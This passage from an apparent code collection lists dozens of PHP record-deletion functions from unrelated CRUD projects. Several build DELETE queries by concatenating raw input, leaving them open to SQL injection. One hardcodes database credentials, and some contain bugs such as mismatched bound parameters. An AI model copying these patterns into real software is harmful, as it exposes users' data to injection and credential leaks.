'$funcionalidade_tipo'\n\t\t\t\t\t\t\t\tAND funcionalidade_id\t= '$funcionalidade_id'\");\n\t\t\n\t\n\t}", "function eliminarEmpresa(){\n\t\t$this->procedimiento='dir.f_empresa_ime';\n\t\t$this->transaccion='DIR_EMP_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_empresa','id_empresa','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function delClientUser($id_usuario){\n $sql = new Sql();\n $remCli = $sql->query('DELETE FROM clientes WHERE id_usuario = :id_usuario', array(':id_usuario'=>$id_usuario));\n if(!is_array($remCli)){\n return true;\n }else{\n return false;\n }\n }", "static public function mdlEliminarCliente($tabla,$datos){\n $stmt= Conexion::conectar()->prepare(\"DELETE FROM $tabla WHERE id = :id\");\n $stmt->bindParam(\":id\", $datos, PDO::PARAM_INT);\n \n if ($stmt->execute()) {\n return \"ok\";\n }else{\n return \"error\";\n }\n \n $stmt->close();\n $stmt=null;\n }", "public function eliminac($id)\n {\n clientes::find($id)->delete();\n $titulo = \"Desactivar cliente\";\n $mensaje1 = \"El cliente a sido desactivado correctamente\";\n return view ('cliente.mensaje1')\n ->with('titulo',$titulo)\n ->with('mensaje1',$mensaje1);\n \n }", "function removerCarrinho($id_carrinho)\n {\n $conn = new db_conect();\n $result = $conn->removerCarrinho($id_carrinho);\n return $result;\n }", "public static function eliminarServicio($id_servicio){\n \n $eliminar = Neo4Play::client()->getNode($id_servicio);\t\t\n $eliminar->delete();\t\n \n\t}", "static public function mdlEliminarCliente($tabla, $datos){\n\n\t\t$stmt = Conexion::conectar()->prepare(\"DELETE FROM $tabla WHERE id = :id\");\n\n\t\t$stmt -> bindParam(\":id\", $datos, PDO::PARAM_INT);\n\n\t\tif($stmt -> execute()){\n\n\t\t\treturn \"ok\";\n\t\t\n\t\t}else{\n\n\t\t\treturn \"error\";\t\n\n\t\t}\n\n\t\t$stmt -> close();\n\n\t\t$stmt = null;\n\n\t}", "public function eliminarAction()\n {\n $this->disableAutoRender();\n\n /* Recibo la lista de Ids separado por comas */\n $idList = $this->_getParam('id');\n\n if ($idList) {\n /* Convierto la lista a un Array */\n $idArray = explode (\",\", $idList);\n\n /* Recorro el array eliminando cada Id */\n foreach ($idArray as $id) {\n try {\n $resultado = $this->_modeloMovimiento->eliminar($id, $this->_usuario);\n \n if($resultado == 0) { /* Si no se eliminó */\n echo 'error|No está autorizado a eliminar este registro'; \n exit;\n }\n \n \n } catch(Exception $ex) {\n $message = $ex->getMessage();\n echo 'error|'.$message;\n }\n }\n }\n }", "function runEliminar(){\n \n $sql = \"DELETE FROM mec_met WHERE id_mecanismos IN (SELECT id_mecanismos FROM mecanismos WHERE id_componente=\".$this->_datos.\")\";\n $this->QuerySql($sql);\n $sql = \"DELETE FROM mecanismos WHERE id_componente=\".$this->_datos;\n $this->QuerySql($sql);\n $sql = \"DELETE FROM componentes WHERE id_componentes=\".$this->_datos;\n $_respuesta = array('Codigo' => 0, \"Mensaje\" => '<strong> OK: </strong> El registro se ha eliminado.');\n try { \n $this->QuerySql($sql);\n }\n catch (exception $e) {\n $_respuesta = array('Codigo' => 99, \"Mensaje\" => $e->getMessage());\n }\n \n print_r(json_encode($_respuesta));\n }", "public function Eliminar()\n {\n $sentenciaSql = \"DELETE FROM \n detalle_orden \n WHERE \n id_detalle_orden = $this->idDetalleOrden\";\n $this->conn->preparar($sentenciaSql);\n $this->conn->ejecutar();\n }", "public function eliminarAerolinea($idaero) {\n//Se obtiene la conexion\n $conn = Conexion::obtenerConexion();\n\n $mensaje = \"\";\n try {\n //Consulta para la eliminacion de datos\n $query = $conn->prepare(\"DELETE FROM tbl_aerolinea where id=?\");\n $query->bindParam(1, $idaero);\n\n $query->execute();\n $mensaje = \"Registro eliminado\";\n }\n catch (Exception $ex) {\n\n $mensaje = $ex->getMessage();\n }\n\n $conn = null;\n return $mensaje;\n }", "public function Eliminar(){\n \n \n if (!$this->model->igualar($_REQUEST['id'])) {//si una categoria no esta asignada la puede eliminar\n \n $this->model->Eliminar($_REQUEST['id']);\n header('Location: ?c=Categoria'); \n }\n else{\n \n header('Location: ?c=Categoria&error'); //de lo contrario no se podra eliminar asta que se elimine el cliente que la tiene\n }\n\n\n\n \n \n \n\n\n\n\n \n \n \n }", "function eliminarCuentaBancaria(){\n\t\t$this->procedimiento='sigep.ft_cuenta_bancaria_ime';\n\t\t$this->transaccion='SIGEP_CUEN_BAN_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_cuenta_bancaria_boa','id_cuenta_bancaria_boa','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "function opcion__eliminar()\n\t{\n\t\t$id_proyecto = $this->get_id_proyecto_actual();\n\t\tif ( $id_proyecto == 'toba' ) {\n\t\t\tthrow new toba_error(\"No es posible eliminar el proyecto 'toba'\");\n\t\t}\n\t\ttry {\n\t\t\t$p = $this->get_proyecto();\n\t\t\tif ( $this->consola->dialogo_simple(\"Desea ELIMINAR los metadatos y DESVINCULAR el proyecto '\"\n\t\t\t\t\t.$id_proyecto.\"' de la instancia '\"\n\t\t\t\t\t.$this->get_id_instancia_actual().\"'\") ) {\n\t\t\t\t$p->eliminar_autonomo();\n\t\t\t}\n\t\t} catch (toba_error $e) {\n\t\t\t$this->consola->error($e->__toString());\n\t\t}\n\t\t$this->get_instancia()->desvincular_proyecto( $id_proyecto );\n\t}", "public function eliminar($data)\n {\n $cliente=$this->db->query('delete from tab_cliente where id_cliente='.$data); \n }", "function eliminarCotizacion(){\n\t\t$this->procedimiento='adq.f_cotizacion_ime';\n\t\t$this->transaccion='ADQ_COT_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_cotizacion','id_cotizacion','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function delete_client_controller() {\n // reciving client id\n $id = clientModel::decryption($_POST['cliente_id_del']);\n $id = clientModel::clean_string($id);\n\n // Checking that the client exists in the database\n $sql = \"SELECT cliente.cliente_id\n FROM cliente\n WHERE cliente.cliente_id = '$id'\";\n $query = clientModel::execute_simple_query($sql);\n\n if (!$query->rowCount() > 0) {\n $res = clientModel::message_with_parameters(\"simple\", \"error\", \"Ocurrío un error inesperado\",\n \"¡El cliente que intenta eliminar no existe en el sistema!\");\n return $res;\n }\n\n // Cheching if the client has associated loan records\n $sql = \"SELECT prestamo.cliente_id\n FROM prestamo\n WHERE prestamo.cliente_id = '$id'\n LIMIT 1\";\n $query = clientModel::execute_simple_query($sql);\n\n if ($query->rowCount() > 0) {\n $res = clientModel::message_with_parameters(\"simple\", \"error\", \"Ocurrío un error inesperado\",\n \"No podemos elminar el cliente del sistema porque tiene prestamos asociados\");\n\n return $res;\n }\n\n // Checking privileges of current user\n session_start(['name' => 'SPM']);\n if ($_SESSION['privilegio_spm'] != 1) {\n $res = clientModel::message_with_parameters(\"simple\", \"error\", \"Ocurrío un error inesperado\",\n \"¡No tienes los permisos necesarios para realizar esta operación!\");\n return $res;\n }\n\n // Deleting client of the system\n $query = clientModel::delete_client_model($id);\n\n if ($query->rowCount() == 1) {\n $res = clientModel::message_with_parameters(\"reload\", \"success\", \"Cliente eliminado\",\n \"El cliente ha sido eliminado del sistema con exito.\");\n } else {\n $res = clientModel::message_with_parameters(\"simple\", \"error\", \"Ocurrío un error inesperado.\",\n \"No hemos podido eliminar el cliente, por favor intentelo nuevamente\");\n }\n\n return $res;\n }", "public function EliminarId()\n\t{\n\t\theader (\"content-type: application/json; charset=utf-8\");\n\t\tif($this->_Method == \"POST\")\n\t\t{\n\t\t\t// Validaciones\n\t\t\tif(validarTokenAntiCSRF(\"_JS\"))\n\t\t\t{\n\t\t\t\t//Creamos una instancia de nuestro \"modelo\"\n\t\t\t\t$item = $this->ObtenModelPostId();\n\t\t\t\tif($item != null && $item->Eliminar())\n\t\t\t\t{\n\t\t\t\t\techo json_encode( array(\"Estado\"=>1) );\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\techo json_encode( array(\"Estado\"=>0, \"Error\"=>\"No eliminador\" ) );\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\techo json_encode( array(\"Estado\"=>0, \"Error\"=>\"No permitido, por fallo de Token anti CSRF.\" ) );\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\techo json_encode( array(\"Estado\"=>0, \"Error\"=>\"No permitido, solo por POST.\") );\n\t\t}\n\t}", "function EliminarMascotas($nombres, $primer_apellido, $segundo_apellido, $fehca_nacimiento, $lugar_nacimiento, $iddepartamento, $idmunicipio, $telefono_casa, $celular, $direccion, $foto){\n $conexion = Conectar();\n $sql = \"DELETE FROM padrinos WHERE id=:id\";\n $statement = $conexion->prepare($sql);\n $statement->bindParam(':idpadrinos', $idpadrinos);\n $statement->execute();\n $statement->setFetchMode(PDO::FETCH_ASSOC);\n $res=$statement->fetchAll();\n return $res;\n}", "public static function deletar_animal_cliente(int $cliente_code): array{\r\n $db = new db_connect;\r\n // Puxando a tabela pet da classe db_connect;\r\n $tbl_pet = $db->tbl_pet;\r\n\r\n\r\n try {\r\n $stmt = $db->conn->prepare(\"DELETE FROM $tbl_pet WHERE COD_CLIENTE = :cliente_cod\");\r\n $stmt->bindParam(':cliente_cod', $cliente_code, \\PDO::PARAM_INT);\r\n $stmt->execute();\r\n\r\n $result['status'] = true;\r\n $result['message'] = \"Animal excludo com sucesso\";\r\n } catch (\\PDOException $e) {\r\n\r\n $result['status'] = false;\r\n $result['message'] = \"Error: \" . $e->getMessage();\r\n } \r\n\r\n return $result;\r\n\r\n }", "function eliminaDaDB($ID_cliente, $ID_ordine, $ID_foto) {\n $servername = \"localhost\";\n $username = \"onlinesales\";\n $password = \"Sale0nl1nE\";\n $dbname = \"fmc-db-onlinesales\";\n\n // Create connection\n $conn = new mysqli($servername, $username, $password, $dbname);\n // Check connection\n if ($conn->connect_error) {\n die(\"Connection failed: \" . $conn->connect_error);\n }\n $query1 = \"DELETE FROM `Ordine` WHERE `ID_cliente` = '$ID_cliente' AND `ID_ordine` = '$ID_ordine'\";\n $query2 = \"DELETE FROM `Cliente` WHERE `ID_cliente` = '$ID_cliente'\";\n $query3 = \"DELETE FROM `Foto` WHERE `ID_cliente` = '$ID_cliente'\";\n \n unlink(\"../Pagina_iniziale/images/\".$ID_foto);\n eseguiQuery($conn, $query1);\n eseguiQuery($conn, $query2);\n eseguiQuery($conn, $query3);\n // chiusura della connessione\n \n $conn->close();\n }", "public function eliminar_empresa_controlador(){\n\n\t\t$codigo=mainModel::decryption($_POST['codigo-del']);\n\t\t$Privilegio=mainModel::decryption($_POST['privilegio-admin']);\n\n\t\t$codigo=mainModel::limpiar_cadena($codigo);\n\t\t$Privilegio=mainModel::limpiar_cadena($Privilegio);\n\n\t\tif($Privilegio==1){\n\n\t\t\t$consulta1=mainModel::ejecutar_consulta_simple(\"SELECT EmpresaCodigo FROM libro WHERE EmpresaCodigo='$codigo'\");\n\n\t\t\t\n\t\t\tif($consulta1->rowCount()<=0){\n\t\t\t\t$ElimEmp=empresaModelo::eliminar_empresa_modelo($codigo);\n\t\t\t\t\n\t\t\t\tif($ElimEmp->rowCount()==1){\n\t\t\t\t\t$alerta=[\n\t\t\t\t\t\t\t\"Alertas\"=>\"recargar\",\n\t\t\t\t\t\t\t\"Titulo\"=>\"Empresa Eliminada\",\n\t\t\t\t\t\t\t\"Texto\"=>\"Se elimino la empresa de manera satisfactoria\",\n\t\t\t\t\t\t\t\"Tipo\"=>\"success\"\n\t\t\t\t\t\t];\t\n\t\t\t\t}else{\n\t\t\t\t\t$alerta=[\n\t\t\t\t\t\"Alertas\"=>\"simple\",\n\t\t\t\t\t\"Titulo\"=>\"Ocurrio un error inesperado\",\n\t\t\t\t\t\"Texto\"=>\"Lo sentimos no se puede eliminar la empresa, \",\n\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t\t];\n\t\t\t\t}\t\n\t\t\t}else{\n\t\t\t\t$alerta=[\n\t\t\t\t\"Alertas\"=>\"simple\",\n\t\t\t\t\"Titulo\"=>\"Ocurrio un error inesperado\",\n\t\t\t\t\"Texto\"=>\"No se puede eliminar la empresa, teniendo en cuenta que hay libros asociados a esta empresa\",\n\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t];\n\t\t\t}\n\t\t}else{\n\t\t\t\t$alerta=[\n\t\t\t\t\"Alertas\"=>\"simple\",\n\t\t\t\t\"Titulo\"=>\"Ocurrio un error inesperado\",\n\t\t\t\t\"Texto\"=>\"No se puede eliminar la empresa.\",\n\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t];\n\t\t}\n\t\treturn mainModel::sweet_alert($alerta);\n\t\t\n\t}", "public function delete($id){\n\t\t$dropCliente = Cliente::find($id);\n\t\t$dropCliente->delete();\n\t}", "public function excluir(){\n\t\n\t\t$idcomentario = $this->uri->segment(3);\n\t\tif ($idcomentario != NULL):\n\t\t\t$query = $this->Comentarios->get_byid($idcomentario);\n\t\t\tif ($query->num_rows()==1):\n\t\t\t\t$query = $query->row();\n\t\t\t\t$this->Comentarios->do_delete(array('id_comentario'=>$query->id_comentario), FALSE);\n\t\t\tendif;\n\t\telse:\n\t\t\tset_msg('msgerro', 'Escolha um comentario para excluir', 'erro');\n\t\tendif;\n\t\t\tredirect('comentarios/gerenciar');\n\t}", "public function excluir()\n {\n $pdo = new \\PDO(DSN, USER, PASSWD);\n //cria sql\n $sql = \"DELETE FROM EquipeDiscipulos WHERE discipuloId = ?\n AND equipeId = ?\n \";\n\n //prepara sql\n $stm = $pdo->prepare($sql);\n //trocar valores\n $stm->bindParam(1, $this->discipuloId );\n $stm->bindParam(2, $this->equipeId );\n\n $resposta = $stm->execute();\n\n $erro = $stm->errorInfo();\n\n //fechar conexão\n $pdo = null ;\n\n return $resposta;\n\n }", "function borrar_prov_serv_cost($idproveedor,$idservicio){\n\t\t$sql=\"\n\t\tDELETE FROM catalogo_proveedor_servicio_costo_negociado WHERE IDPROVEEDOR='$idproveedor' AND IDSERVICIO='$idservicio'\n\t\t\";\n\t\t$this->query($sql);\n\t\treturn;\n\t}", "static public function mdlBorrarCliente($tabla, $datos){\r\n\r\n\t\t$stmt = Conexion::conectar()->prepare(\"DELETE FROM $tabla WHERE idCliente = :idCliente\");\r\n\r\n\t\t$stmt -> bindParam(\":idCliente\", $datos, PDO::PARAM_INT);\r\n\r\n\t\tif($stmt -> execute()){\r\n\r\n\t\t\treturn \"ok\";\r\n\t\t\r\n\t\t}else{\r\n\r\n\t\t\treturn \"error\";\t\r\n\r\n\t\t}\r\n\r\n\t\t$stmt -> close();\r\n\r\n\t\t$stmt = null;\r\n\r\n\r\n\t}", "public function deleting(Seguimiento $Seguimiento){\n \n }", "function delete_client($id_client){\n \n $sql = \"DELETE FROM client WHERE id_client = \".$id_client.\"\";\n \n $res = $this->pdo->query($sql);\n if(!$res){\n $this->message = \"impossible de supprimer le client\";\n return false;\n }\n return true;\n }", "public function delete() {\n $conexion = StorianDB::connectDB();\n $borrado = \"DELETE FROM cuento WHERE id=\\\"\".$this->id.\"\\\"\";\n $conexion->exec($borrado);\n }", "function clients_deleteClient($id) {\n\tglobal $Auth;\n\n\t## multiclient\n\t$client_id = $Auth->auth[\"client_id\"];\n\t\n\t## the basic client only supports email and password- email needs to be unique\t\n\n\t## prepare the db-object\n\t$db = new DB_Sql();\n\t$select_query = \"DELETE FROM \".USER_PAGES.\" WHERE id='$id' AND client_id='$client_id'\";\n\t$result_pointer = $db->query($select_query);\t\n}", "function eliminarChequera(){\n\t\t$this->procedimiento='tes.f_chequera_ime';\n\t\t$this->transaccion='TES_CHQ_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_chequera','id_chequera','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function destroy(Cliente $cliente)\n {\n //\n }", "public function destroy(Cliente $cliente)\n {\n //\n }", "public function destroy(Cliente $cliente)\n {\n //\n }", "public function remover() {\n \n $queryVerificaInscricao = '\n select * from tb_inscricao_atividade where id_atividade = :id_atividade \n ';\n \n $stmtInscAtt = $this->conexao->prepare($queryVerificaInscricao);\n $stmtInscAtt->bindValue(':id_atividade', $_GET['id_att']);\n $stmtInscAtt->execute();\n \n $inscAtt = $stmtInscAtt->fetchAll(PDO::FETCH_OBJ);\n \n // echo '<pre>';\n // print_r($inscAtt);\n // echo '</pre>';\n \n if (!empty($inscAtt)) {\n foreach ($inscAtt as $inscAttInd) {\n $queryDeleteInscAtt = 'delete from tb_inscricao_atividade where \n id_atividade = :id_atividadeDel and \n id_evento = :id_eventoDel and \n id_usuario = :id_usuarioDel';\n \n $stmtInscAttDel = $this->conexao->prepare($queryDeleteInscAtt);\n $stmtInscAttDel->bindValue(':id_atividadeDel', $inscAttInd->id_atividade);\n $stmtInscAttDel->bindValue(':id_eventoDel', $inscAttInd->id_evento);\n $stmtInscAttDel->bindValue(':id_usuarioDel', $inscAttInd->id_usuario);\n $stmtInscAttDel->execute();\n }\n }\n\n $queryInscCupomAtt = '\n select * from tb_cupom where id_atividade = :id_atividadeCupDel\n ';\n\n $stmtInscCupomAtt = $this->conexao->prepare($queryInscCupomAtt);\n $stmtInscCupomAtt->bindValue(':id_atividadeCupDel', $_GET['id_att']);\n $stmtInscCupomAtt->execute();\n\n $cupomAtt = $stmtInscCupomAtt->fetchAll(PDO::FETCH_OBJ);\n\n // echo '<pre>';\n // print_r($cupomAtt);\n // echo '</pre>';\n\n if (!empty($cupomAtt)) {\n foreach ($cupomAtt as $cupomAttInd) {\n $queryDeleteCupomAtt = '\n delete from tb_cupom where id = :id_cupomDel\n ';\n\n echo $cupomAttInd->id;\n\n $stmtInscCupomAttDel = $this->conexao->prepare($queryDeleteCupomAtt);\n $stmtInscCupomAttDel->bindValue(':id_cupomDel', $cupomAttInd->id);\n $stmtInscCupomAttDel->execute();\n }\n }\n \n $query = '\n delete from tb_atividade \n where id = :id';\n\n $stmt = $this->conexao->prepare($query);\n $stmt->bindValue(':id', $_GET['id_att']);\n\n return $stmt->execute();\n }", "public function Excluir(){\n $idMotorista = $_GET['id'];\n\n $motorista = new Motorista();\n\n $motorista->id = $idMotorista;\n\n $motorista::Delete($motorista);\n\n\n }", "public function EliminarDetallesCompras()\n{\n\tif($_SESSION['acceso'] == \"administrador\") {\n\n\t\tself::SetNames();\n\t\t$sql = \" select * from detallecompras where codcompra = ? \";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codcompra\"])) );\n\t\t$num = $stmt->rowCount();\n\t\tif($num > 1)\n\t\t{\n\n\t\t\t$sql = \" delete from detallecompras where coddetallecompra = ? \";\n\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t$stmt->bindParam(1,$coddetallecompra);\n\t\t\t$coddetallecompra = base64_decode($_GET[\"coddetallecompra\"]);\n\t\t\t$stmt->execute();\n\n################ VERIFICAMOS SI EL TIPO DE ENTRADA ES UN INGREDINTE ###################\n\tif($_POST['tipoentrada']==\"INGREDIENTE\"){\n\n\t\t$sql2 = \"select cantingrediente from ingredientes where cantingrediente = ?\";\n\t\t$stmt = $this->dbh->prepare($sql2);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codproducto\"])));\n\t\t$num = $stmt->rowCount();\n\n\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t{\n\t\t\t$p[] = $row;\n\t\t}\n\t\t$existenciadb = $p[0][\"cantingrediente\"];\n\n###################### REALIZAMOS LA ELIMINACION DEL PRODUCTO EN KARDEX ############################\n\t\t$sql = \" delete from kardexingredientes where codprocesoing = ? and codingrediente = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$codcompra);\n\t\t$stmt->bindParam(2,$codproducto);\n\t\t$codcompra = strip_tags(base64_decode($_GET[\"codcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$stmt->execute();\n\n###################### ACTUALIZAMOS LOS DATOS DEL PRODUCTO EN ALMACEN ############################\n\t\t$sql = \" update ingredientes set \"\n\t\t.\" cantingrediente = ? \"\n\t\t.\" where \"\n\t\t.\" codingrediente = ?;\n\t\t\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $existencia);\n\t\t$stmt->bindParam(2, $codproducto);\n\t\t$cantcompra = strip_tags(base64_decode($_GET[\"cantcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$existencia = $existenciadb - $cantcompra;\n\t\t$stmt->execute();\n\n################ VERIFICAMOS SI EL TIPO DE ENTRADA ES UN PRODUCTO ###################\n\t\t\t} else {\n\n\t\t$sql2 = \"select existencia from productos where codproducto = ?\";\n\t\t$stmt = $this->dbh->prepare($sql2);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codproducto\"])));\n\t\t$num = $stmt->rowCount();\n\n\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t{\n\t\t\t$p[] = $row;\n\t\t}\n\t\t$existenciadb = $p[0][\"existencia\"];\n\n###################### REALIZAMOS LA ELIMINACION DEL PRODUCTO EN KARDEX ############################\n\t\t$sql = \" delete from kardexproductos where codproceso = ? and codproducto = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$codcompra);\n\t\t$stmt->bindParam(2,$codproducto);\n\t\t$codcompra = strip_tags(base64_decode($_GET[\"codcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$stmt->execute();\n\n###################### ACTUALIZAMOS LOS DATOS DEL PRODUCTO EN ALMACEN ############################\n\t\t$sql = \" update productos set \"\n\t\t.\" existencia = ? \"\n\t\t.\" where \"\n\t\t.\" codproducto = ?;\n\t\t\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $existencia);\n\t\t$stmt->bindParam(2, $codproducto);\n\t\t$cantcompra = strip_tags(base64_decode($_GET[\"cantcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$existencia = $existenciadb - $cantcompra;\n\t\t$stmt->execute();\n\n\t\t\t}\n\n\t\t$sql4 = \"select * from compras where codcompra = ? \";\n\t\t$stmt = $this->dbh->prepare($sql4);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codcompra\"])));\n\t\t$num = $stmt->rowCount();\n\n\t\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t\t{\n\t\t\t\t$paea[] = $row;\n\t\t\t}\n\t\t$subtotalivasic = $paea[0][\"subtotalivasic\"];\n\t\t$subtotalivanoc = $paea[0][\"subtotalivanoc\"];\n\t\t$iva = $paea[0][\"ivac\"]/100;\n\t\t$descuento = $paea[0][\"descuentoc\"]/100;\n\t\t$totalivac = $paea[0][\"totalivac\"];\n\t\t$totaldescuentoc = $paea[0][\"totaldescuentoc\"];\n\n\t$sql3 = \"select sum(importecompra) as importe from detallecompras where codcompra = ? and ivaproductoc = 'SI'\";\n $stmt = $this->dbh->prepare($sql3);\n $stmt->execute( array(base64_decode($_GET[\"codcompra\"])));\n $num = $stmt->rowCount();\n \n if($rowp = $stmt->fetch())\n {\n $p[] = $rowp;\n }\n $importeivasi = ($rowp[\"importe\"]== \"\" ? \"0\" : $rowp[\"importe\"]);\n\n$sql5 = \"select sum(importecompra) as importe from detallecompras where codcompra = ? and ivaproductoc = 'NO'\";\n $stmt = $this->dbh->prepare($sql5);\n $stmt->execute( array(base64_decode($_GET[\"codcompra\"])));\n $num = $stmt->rowCount();\n \n if($roww = $stmt->fetch())\n {\n $pw[] = $roww;\n }\n $importeivano = ($roww[\"importe\"]== \"\" ? \"0\" : $roww[\"importe\"]);\n\n if(base64_decode($_GET[\"ivaproductoc\"])==\"SI\"){\t\n\t\n\t\t$sql = \" update compras set \"\n\t\t\t .\" subtotalivasic = ?, \"\n\t\t\t .\" totalivac = ?, \"\n\t\t\t .\" totaldescuentoc = ?, \"\n\t\t\t .\" totalc= ? \"\n\t\t\t .\" where \"\n\t\t\t .\" codcompra = ?;\n\t\t\t \";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $subtotal);\n\t\t$stmt->bindParam(2, $totaliva);\n\t\t$stmt->bindParam(3, $totaldescuentoc);\n\t\t$stmt->bindParam(4, $total);\n\t\t$stmt->bindParam(5, $codcompra);\n\t\t\n\t\t$subtotal= strip_tags($importeivasi);\n $totaliva= rount($subtotal*$iva,2);\n\t\t$tot= rount($subtotal+$subtotalivanoc+$totaliva,2);\n\t\t$totaldescuentoc= rount($tot*$descuento,2);\n\t\t$total= rount($tot-$totaldescuentoc,2);\n\t\t$codcompra = strip_tags(base64_decode($_GET[\"codcompra\"]));\n\t\t$stmt->execute();\n\t\t\n\t\t } else {\n\t\t\n\t\t$sql = \" update compras set \"\n\t\t\t .\" subtotalivanoc = ?, \"\n\t\t\t .\" totaldescuentoc = ?, \"\n\t\t\t .\" totalc= ? \"\n\t\t\t .\" where \"\n\t\t\t .\" codcompra = ?;\n\t\t\t \";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $subtotal);\n\t\t$stmt->bindParam(2, $totaldescuentoc);\n\t\t$stmt->bindParam(3, $total);\n\t\t$stmt->bindParam(4, $codcompra);\n\t\t\n\t\t$subtotal= strip_tags($importeivano);\n\t\t$tot= rount($subtotal+$subtotalivasic+$totalivac,2);\n\t\t$totaldescuentoc= rount($tot*$descuento,2);\n\t\t$total= rount($tot-$totaldescuentoc,2);\n\t\t$codcompra = strip_tags(base64_decode($_GET[\"codcompra\"]));\n\t\t$stmt->execute();\t\t\n\t\t }\t\t\t\t\t\n\n\t\theader(\"Location: detallescompras?mesage=2\");\n\t\texit;\n\n\t\t}\n\t\telse\n\t\t{\n\n################ VERIFICAMOS SI EL TIPO DE ENTRADA ES UN INGREDINTE ###################\n\tif($_POST['tipoentrada']==\"INGREDIENTE\"){\n\n\t\t$sql2 = \"select cantingrediente from ingredientes where cantingrediente = ?\";\n\t\t$stmt = $this->dbh->prepare($sql2);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codproducto\"])));\n\t\t$num = $stmt->rowCount();\n\n\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t{\n\t\t\t$p[] = $row;\n\t\t}\n\t\t$existenciadb = $p[0][\"cantingrediente\"];\n\n###################### ACTUALIZAMOS LOS DATOS DEL PRODUCTO EN ALMACEN ############################\n\t\t$sql = \" update ingredientes set \"\n\t\t.\" cantingrediente = ? \"\n\t\t.\" where \"\n\t\t.\" codingrediente = ?;\n\t\t\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $existencia);\n\t\t$stmt->bindParam(2, $codproducto);\n\t\t$cantcompra = strip_tags(base64_decode($_GET[\"cantcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$existencia = $existenciadb - $cantcompra;\n\t\t$stmt->execute();\n\n###################### REALIZAMOS LA ELIMINACION DEL PRODUCTO EN KARDEX ############################\n\t\t$sql = \" delete from kardexingredientes where codprocesoing = ? and codingrediente = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$codcompra);\n\t\t$stmt->bindParam(2,$codproducto);\n\t\t$codcompra = strip_tags(base64_decode($_GET[\"codcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$stmt->execute();\n\n################ VERIFICAMOS SI EL TIPO DE ENTRADA ES UN PRODUCTO ###################\n\t\t\t} else {\n\n###################### ACTUALIZAMOS LOS DATOS DEL PRODUCTO EN ALMACEN ############################\n\t\t$sql2 = \"select existencia from productos where codproducto = ?\";\n\t\t$stmt = $this->dbh->prepare($sql2);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codproducto\"])));\n\t\t$num = $stmt->rowCount();\n\n\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t{\n\t\t\t$p[] = $row;\n\t\t}\n\t\t$existenciadb = $p[0][\"existencia\"];\n\n\t\t$sql = \" update productos set \"\n\t\t.\" existencia = ? \"\n\t\t.\" where \"\n\t\t.\" codproducto = ?;\n\t\t\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $existencia);\n\t\t$stmt->bindParam(2, $codproducto);\n\t\t$cantcompra = strip_tags(base64_decode($_GET[\"cantcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$existencia = $existenciadb - $cantcompra;\n\t\t$stmt->execute();\n\n###################### REALIZAMOS LA ELIMINACION DEL PRODUCTO EN KARDEX ############################\n\t\t$sql = \" delete from kardexproductos where codproceso = ? and codproducto = 